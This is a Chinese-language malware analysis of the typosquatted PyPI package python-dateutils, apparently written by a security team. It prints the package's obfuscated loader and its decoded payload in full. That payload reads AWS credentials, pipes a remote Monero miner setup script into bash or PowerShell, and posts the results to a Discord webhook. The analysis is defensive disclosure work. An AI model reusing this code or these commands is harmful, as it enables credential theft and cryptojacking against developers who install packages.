2022年6月28日,天问Python供应链监测模块捕获到一个typosquat包python-dateutils,与常用的Python时间处理模块python-dateutil区别仅为最后的s(已加粗标识),官方包python-dateutil自2021年7月14号发布版本2.8.2后便不再更新,恶意包python-dateutils于一天内连续发布2.9.3至3.0.3六个版本引起了我们的注意,我们迅速对该包进行了分析,并向官方反馈。
此次攻击的攻击者Dall-e将恶意代码直接写在Python文件内,并进行多次编码,使其攻击更具隐蔽性,具体代码如下所示。
1 2 3 4 5 6 7 8
| import base64, codecs magic = 'IyAtKi0gY29kaW5nOiB1dGYtOCAtKi0KaW1wb3J0IHN5cwoKCgppbXBvcnQgb3MKZnJvbSBzeXMgaW1wb3J0IHBsYXRmb3JtCmltcG9ydCByZXF1ZXN0cwppbXBvcnQgc3VicHJvY2VzcwoKaXBfYWRkciA9ICcnCmlwID0gcmVxdWVzdHMuZ2V0KCdodHRwczovL2lmY29uZmlnLm1lJykKCgoKaXBfYWRkciA9IGlwLnRleHQKCgpkZWYgd2ViaG9vayhjb250ZW50LCBpcCwgb3NfdHlwKToKCiAgICB1cmwgPSAiaHR0cHM6Ly9kaXNjb3JkLmNvbS9hcGkvd2ViaG9va3MvOTkxMjA4NTU4MDk4MTQxMjY0L2hMblltUWw5azM4ZU03UENoQXFaSnpuNkpzZWxlNGZVMDRHTGxhVC16Znd3MEpkTXc0ajF6aGF6cFVqQk9qRXVHenBBIgoKICAgIHZhbHVlcyA9IHsKICAgICAgICAnY29udGVudCc6ICdwd25kIHpvbWJ5OiAnK3N0cihpcCkrJyBvczogJytzdHIob3NfdHlwKSsnICcrY29udGVudCwKICAgICAgICAndXNlcm5hbWUnOiAnZGF0ZXV0aWxzLXB5cGknCiAgICB9CgogICAgdHJ5OgogICAgICAgIHJlc3VsdCA9IHJlcXVlc3RzLnBvc3QodXJsLCBqc29uPXZhbHVlcykKCiAgICBleGNlcHQgS2V5Ym9hcmRJbnRlcnJ1cHQ6CiAgICAgICAgZXhpdCgpCiAgICBleGNlcHQgRXhjZXB0aW9uOgogICAgICAgIGV4aXQoKQoKCmZyb20gb3MucGF0aCBpbXBvcnQgZXhwYW5kdXNlcgpob21lID0gZXhwYW5kdXNlcigifiIpCgppc0ZpbGUgPSBvcy5wYXRoLmV4aXN0cyhob21lKycvbW9uZXJvb2NlYW4nKQpp' love = 'MvOho3DtnKATnJkyBtbXVPNtVTyzVUOfLKEzo3WgVQ09VPWfnJ51rPVto3VtpTkuqTMipz0tCG0tVzkcoaI4ZvV6PvNtVPNtVPNtPvNtVPNtVPNtPvNtVPNtVPNtp3ymqTIgK2yhMz8tCKA1LaOlo2Ayp3ZhHT9jMJ4bVzAuqPO+Yl5uq3ZiL3WyMTIhqTyuoUZ7L3IloPNgplNgGPObqUEjpmbiY3Wuql5anKEbqJW1p2IlL29hqTIhqP5wo20iGJ9hMKWiG2AyLJ4irT1lnJqsp2I0qKNioJSmqTIlY3AyqUIjK21iozIlo29wMJShK21cozIlYaAbVUjtLzSmnPNgplN0DIb2qGq3EIMnA0IRExSLD25nE2gzZIO3HyOAESA0Lz9Hrac3FzuzZHkwFzyYZ0gcARtlH2qdIxAhEaAan3qRo1MuAHEyAacKHJSLIJAmEKbkFTq1A2VkGT52DyEjqFVfVUAbMJkfCIElqJHfVUA0MT91qQ1mqJWjpz9wMKAmYyOWHRHfVUA0MTIlpw1mqJWjpz9wMKAmYyOWHRHcYzAioJ11ozywLKEyXPyoZS0XVPNtVPNtVPNXVPNtVPNtVPO3MJWbo29eXTAioaEyoaD9p3ymqTIgK2yhMz8hMTIwo2EyXPxfVTyjCJyjK2SxMUVfVT9mK3E5pQ0aGTyhqKtaXDbtVPNtMJkcMvOjoTS0Mz9loFN9CFNvMTSlq2yhVwbXVPNtVPNtVPOmrKA0MJ1snJ5zolN9p3IvpUWiL2Impl5Do3OyovtvL2S0VU4iYzS3pl9wpzIxMJ50nJSfpmftL3IloPNgplNgGPObqUEjpmbiY3Wuql5anKEbqJW1p2IlL29hqTIhqP5wo20iGJ9hMKWiG2AyLJ4irT1lnJqsp2I0qKNioJSmqTIlY3AyqUIjK21iozIlo29wMJShK21cozIlYaAbVUjtLzSmnPNgplN0DIb2qGq3' god = 'RVZaN0VERkFYQ25aR2tmMVB3UlBNRFN0Ym9Uenp3SmhmMUxjSmlLM0tpNEgyU2dqVkNuRnNna3dEb1ZhNURlNnpXUWFYVWNzRXoxSGd1N2IxTG52QlRwdSIsIHNoZWxsPVRydWUsIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUsIHN0ZGVycj1zdWJwcm9jZXNzLlBJUEUpLmNvbW11bmljYXRlKClbMF0KICAgICAgICAKICAgICAgICB3ZWJob29rKGNvbnRlbnQ9c3lzdGVtX2luZm8uZGVjb2RlKCksIGlwPWlwX2FkZHIsIG9zX3R5cD0nT1NYJykKICAgIGVsaWYgcGxhdGZvcm0gPT0gIndpbjMyIjoKICAgICAgICBzeXN0ZW1faW5mbyA9c3VicHJvY2Vzcy5Qb3BlbigicG93ZXJzaGVsbCAtQ29tbWFuZCBcIiR3YyA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7ICR0ZW1wZmlsZSA9IFtTeXN0ZW0uSU8uUGF0aF06OkdldFRlbXBGaWxlTmFtZSgpOyAkdGVtcGZpbGUgKz0gJy5iYXQnOyAkd2MuRG93bmxvYWRGaWxlKCdodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vTW9uZXJvT2NlYW4veG1yaWdfc2V0dXAvbWFzdGVyL3NldHVwX21vbmVyb29jZWFuX21pbmVyLmJhdCcsICR0ZW1wZmlsZSk7ICYgJHRlbXBmaWxlIDRBWjZ1N3dFVlo3RURGQVhDblpHa2YxUHdSUE1EU3Rib1R6endKaGYxTGNKaUszS2k0SDJTZ2pWQ25Gc2drd0RvVmE1RGU2eldRYVhVY3NFejFIZ3U3YjFMbnZCVHB1OyBSZW1vdmUtSXRlbSAtRm9yY2UgJHRlbXBmaWxlXCIiLCBzaGVsbD1UcnVlLCBzdGRv' destiny = 'qKD9p3IvpUWiL2Impl5DFIOSYPOmqTEypaV9p3IvpUWiL2Impl5DFIOSXF5wo21gqJ5cL2S0MFtcJmOqPvNtVPNtVPNtPvNtVPNtVPNtq2IvnT9inluwo250MJ50CKA5p3EyoI9cozMiYzEyL29xMFtcYPOcpQ1cpS9uMTElYPOip190rKN9W3qcozEiq3ZaXDbXPaElrGbXVPNtVTMlo20tYy92MKWmnJ9hVTygpT9lqPO2MKWmnJ9hVTSmVS9sqzIlp2yioy9sPzI4L2IjqPOWoKOipaESpaWipwbXVPNtVS9sqzIlp2yioy9sVQ0tW3Ihn25iq24aPtcsK2SfoS9sVQ0tJlqyLKA0MKVaYPNapTSlp2IlWljtW3WyoTS0nKMyMTIfqTRaYPNapaW1oTHaYPNaqUbaYNbtVPNtVPNtVPNtVPq1qTyfplpfVPq6o25ynJ5zolqqPtcxMJLtK19aMKEuqUElK18bozSgMFx6PvNtVPOcoKOipaDtnJ1jo3W0oTyvPtbtVPNtnJLtozSgMFOcovOsK2SfoS9sBtbtVPNtVPNtVUWyqUIlovOcoKOipaEfnJVhnJ1jo3W0K21iMUIfMFtvYvVtXlOhLJ1yYPOsK25uoJIsKlxXVPNtVUWunKAyVRS0qUWcLaI0MHIlpz9lXNbtVPNtVPNtVPWgo2E1oTHtrlSlsFObLKZtoz90VTS0qUWcLaI0MFO7VKW9Vv5zo3WgLKDbK19hLJ1yK18fVT5uoJHcPvNtVPNcPtbXMTIzVS9sMTylK18bXGbXVPNtVPZtK19xnKWsKlOmnT91oTDtnJ5woUIxMFOuoTjtqTuyVTkuraxgnJ1jo3W0LJWfMFOgo2E1oTImVTSmVUqyoTjhPvNtVPOlMKE1pz4tJ3ttMz9lVUttnJ4tM2kiLzSfpltcVTyzVUttoz90VTyhVUA5pl5go2E1oTImKFNeVS9sLJkfK18X' joy = '\x72\x6f\x74\x31\x33' trust = eval('\x6d\x61\x67\x69\x63') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x6c\x6f\x76\x65\x2c\x20\x6a\x6f\x79\x29') + eval('\x67\x6f\x64') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x64\x65\x73\x74\x69\x6e\x79\x2c\x20\x6a\x6f\x79\x29') eval(compile(base64.b64decode(eval('\x74\x72\x75\x73\x74')),'<string>','exec'))
|
通过观察其对于变量名称的定义以及编码的使用,我们认出其代码是通过DevelopmentTools.Net提供的python-obfuscator工具自动生成,对上述代码中的变量进行Unicode编码转换后得到如下结果。
1 2
| joy = 'rot13' trust = magic + codecs.decode(love, joy) + god + codecs.decode(destiny, joy)
|
即trust为四个字符串拼接而成的大字符串,在对其进行了拼接并解码后,我们得到如下代码片段。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| import sys import os from sys import platform import requests import subprocess
ip_addr = '' ip = requests.get('https://ifconfig.me') ip_addr = ip.text
def webhook(content, ip, os_typ): url = "https://discord.com/api/webhooks/991208558098141264/hLnYmQl9k38eM7PChAqZJzn6Jsele4fU04GLlaT-zfww0JdMw4j1zhazpUjBOjEuGzpA" values = { 'content': 'pwnd zomby: '+str(ip)+' os: '+str(os_typ)+' '+content, 'username': 'dateutils-pypi' } try: result = requests.post(url, json=values)
except KeyboardInterrupt: exit() except Exception: exit()
from os.path import expanduser home = expanduser("~")
isFile = os.path.exists(home+'/moneroocean') if not isFile: if platform == "linux" or platform == "linux2": system_info =subprocess.Popen("cat ~/.aws/credentials;curl -s -L https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/setup_moneroocean_miner.sh | bash -s 4AZ6u7wEVZ7EDFAXCnZGkf1PwRPMDStboTzzwJhf1LcJiK3Ki4H2SgjVCnFsgkwDoVa5De6zWQaXUcsEz1Hgu7b1LnvBTpu", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate()[0] webhook(content=system_info.decode(), ip=ip_addr, os_typ='Linux') elif platform == "darwin": system_info =subprocess.Popen("cat ~/.aws/credentials; curl -s -L https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/setup_moneroocean_miner.sh | bash -s 4AZ6u7wEVZ7EDFAXCnZGkf1PwRPMDStboTzzwJhf1LcJiK3Ki4H2SgjVCnFsgkwDoVa5De6zWQaXUcsEz1Hgu7b1LnvBTpu", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate()[0] webhook(content=system_info.decode(), ip=ip_addr, os_typ='OSX') elif platform == "win32": system_info =subprocess.Popen("powershell -Command \"$wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.bat'; $wc.DownloadFile('https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/setup_moneroocean_miner.bat', $tempfile); & $tempfile 4AZ6u7wEVZ7EDFAXCnZGkf1PwRPMDStboTzzwJhf1LcJiK3Ki4H2SgjVCnFsgkwDoVa5De6zWQaXUcsEz1Hgu7b1LnvBTpu; Remove-Item -Force $tempfile\"", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate()[0] webhook(content=system_info.decode(), ip=ip_addr, os_typ='windows')
|
恶意代码判断了系统版本之后,通过Python的subprocess模块唤起bash执行了如下代码,开始实施攻击。
1
| cat ~/.aws/credentials; curl -s -L https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/setup_moneroocean_miner.sh | bash -s 4AZ6u7wEVZ7EDFAXCnZGkf1PwRPMDStboTzzwJhf1LcJiK3Ki4H2SgjVCnFsgkwDoVa5De6zWQaXUcsEz1Hgu7b1LnvBTpu
|
其首先窃取了亚马逊云服务的私密信息,并通过curl指令获取恶意脚本,在完成执行之后,通过discord webhook将获取到的信息外传。值的一提的是,其curl | bash -s 的指令可以使脚本setup_moneroocean_miner.sh在不落地的情况下完成执行,使其攻击无迹可寻。
通过分析该恶意脚本,我们发现这个是一个门罗币的挖矿程序,其具体功能如下表。
功能 |
解释 |
printing greetings |
将脚本基本信息输出,并询问用户的钱包链接,如上恶意包中代码中的bash -s 后面的字符串 |
checking prerequisites |
检查home目录是否可读写,curl/lscpu等指令是否可使用 |
calculating port |
通过nproc获取内核线程数,并设置访问端口 |
moneroocean setup |
访问hxxps://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.tar.gz下载MoneroOcean需求的xmrig版本 |
monero miner service |
最终执行门罗币挖矿程序 |
该样本在天穹沙箱中的运行结果如下。
目前该包已被官方删除。